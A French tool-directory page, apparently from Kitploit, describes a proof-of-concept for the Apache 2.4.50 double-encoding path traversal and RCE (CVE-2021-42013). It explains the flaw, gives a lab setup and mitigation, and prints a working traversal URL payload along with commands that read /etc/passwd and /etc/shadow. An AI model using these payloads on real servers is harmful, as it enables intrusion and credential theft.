Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-42013 — Preuve de concept d'exploit pour CVE-2021-42013, démontrant un contournement de chemin et une exécution de code à distance sur Apache 2.4.50 via un contournement par double encodage URL du correctif de CVE-2021-41773. | Kitploit
Outils/GitHubGitHub/joapath/cve-2021-42013
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Preuve de concept d'exploit pour CVE-2021-42013, démontrant un contournement de chemin et une exécution de code à distance sur Apache 2.4.50 via un contournement par double encodage URL du correctif de CVE-2021-41773.

Voir le dépôt
3il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-42013 — PoC : Path Traversal + RCE via mod_cgi (contournement du correctif)

À utiliser uniquement dans des environnements contrôlés et personnels. Ne pas utiliser contre des systèmes sans autorisation.


Description

PoC développée pour démontrer CVE-2021-42013, présente dans Apache HTTP Server 2.4.50.

Cette CVE est le contournement du correctif qu'Apache a publié pour CVE-2021-41773. La version 2.4.50 a tenté de corriger le path traversal précédent en ajoutant une validation qui rejetait les séquences .%2e et %2e.. Cependant, cette validation était insuffisante : elle ne prenait pas en compte que le même résultat pouvait être obtenu avec un double encodage URL, laissant la même surface d'attaque exposée.


Relation avec CVE-2021-41773

CVE-2021-41773CVE-2021-42013
Version affectéeApache 2.4.49Apache 2.4.50
Encodage utilisé.%2e/%%32%65%%32%65/
MécanismeSimple encodageDouble encodage (contournement du correctif)
RCE possibleOui (avec mod_cgi)Oui (avec mod_cgi)
Version corrigée2.4.50 (correctif incomplet)2.4.51

Pourquoi le correctif de 2.4.50 a échoué

Le correctif d'Apache 2.4.50 a ajouté une validation dans ap_normalize_path() qui recherchait littéralement les séquences .%2e et %2e. dans le chemin de la requête. S'il les trouvait, il rejetait la requête avec un code 400 ou 403.

Le problème : cette validation s'exécutait sur la chaîne avant un deuxième passage de décodage URL. Si le payload était doublement encodé, la validation ne trouvait pas la séquence interdite car elle n'était pas encore décodée — et lorsqu'elle était finalement décodée pour résoudre le chemin du système de fichiers, le ../ était déjà présent et le traversal se produisait quand même.

root@kitploit:~
Payload :          %%32%65%%32%65/
Validation 2.4.50 cherche : .%2e → NE TROUVE PAS → laisse passer
Premier décodage :   %%32%65%%32%65/ → %2e%2e/
Deuxième décodage :  %2e%2e/         → ../
Résultat :        traversal réussi

La véritable correction est arrivée en 2.4.51, où Apache a réécrit la logique de normalisation pour résoudre complètement le chemin avant d'appliquer toute validation de sécurité.


Le double encodage — comment ça fonctionne

%%32%65 est la représentation doublement encodée de . :

root@kitploit:~
.  →  %2e  (encodage standard)
%  →  %25  (encodage du symbole %)
2  →  %32  (encodage du caractère '2')
e  →  %65  (encodage du caractère 'e')

Ainsi %2e avec son % encodé et les caractères hexadécimaux encodés devient %%32%65.

Un premier décodage de %%32%65 produit %2e. Un second produit ..


Conditions nécessaires

ConditionDétail
Version d'ApacheExactement 2.4.50
Directive d'accèsRequire all granted dans le répertoire exposé
Module CGImod_cgi activé (uniquement pour RCE)

Environnement de test

root@kitploit:~
# Image Apache 2.4.50 avec configuration vulnérable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

Ou manuellement avec Apache 2.4.50 et cette configuration dans httpd.conf :

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Utilisation du script

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <commande>]

Arguments

ArgumentRequisDescription
--targetOuiURL de base du serveur (ex : http://localhost:8080)
--modeOuitraversal pour lire des fichiers, rce pour exécuter des commandes
--cmdNonCommande à exécuter en mode rce (par défaut : id)

Exemples

root@kitploit:~
# Lire /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Exécuter id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Commande avec espaces
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Sortie attendue — mode traversal

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Contournement du correctif de CVE-2021-41773 via double encodage
  PoC à des fins éducatives — Uniquement dans vos propres environnements
============================================================

[+] Mode : Path Traversal (double encodage — contournement du correctif CVE-2021-41773)
[+] Cible : http://localhost:8080
[+] Encodage : %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construite : http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Envoi de la requête...

[+] Serveur vulnérable ! Code HTTP : 200
[+] Confirmé : Apache 2.4.50 avec correctif incomplet
=== Contenu de /etc/passwd :

root:x:0:0:root:/root:/bin/bash
...

Sortie attendue — mode rce

root@kitploit:~
[+] Mode : RCE via mod_cgi (double encodage — contournement du correctif CVE-2021-41773)
[+] Cible : http://localhost:8080
[+] Commande : id
[+] RCE confirmé ! (Apache 2.4.50 — correctif incomplet)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigation

  • Mettre à jour Apache vers la version 2.4.51 ou ultérieure.
  • Maintenir Require all denied comme valeur par défaut.
  • Désactiver mod_cgi s'il n'est pas nécessaire.
  • Ne jamais considérer un correctif comme complet sans le vérifier : l'analyse du diff de 2.4.51 montre que la correction réelle a nécessité une réécriture complète de la logique de normalisation.

Références

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — Analyse CVE-2021-41773 & CVE-2021-42013

PoC développée à des fins éducatives pour un portfolio en sécurité offensive.

Télécharger l’outil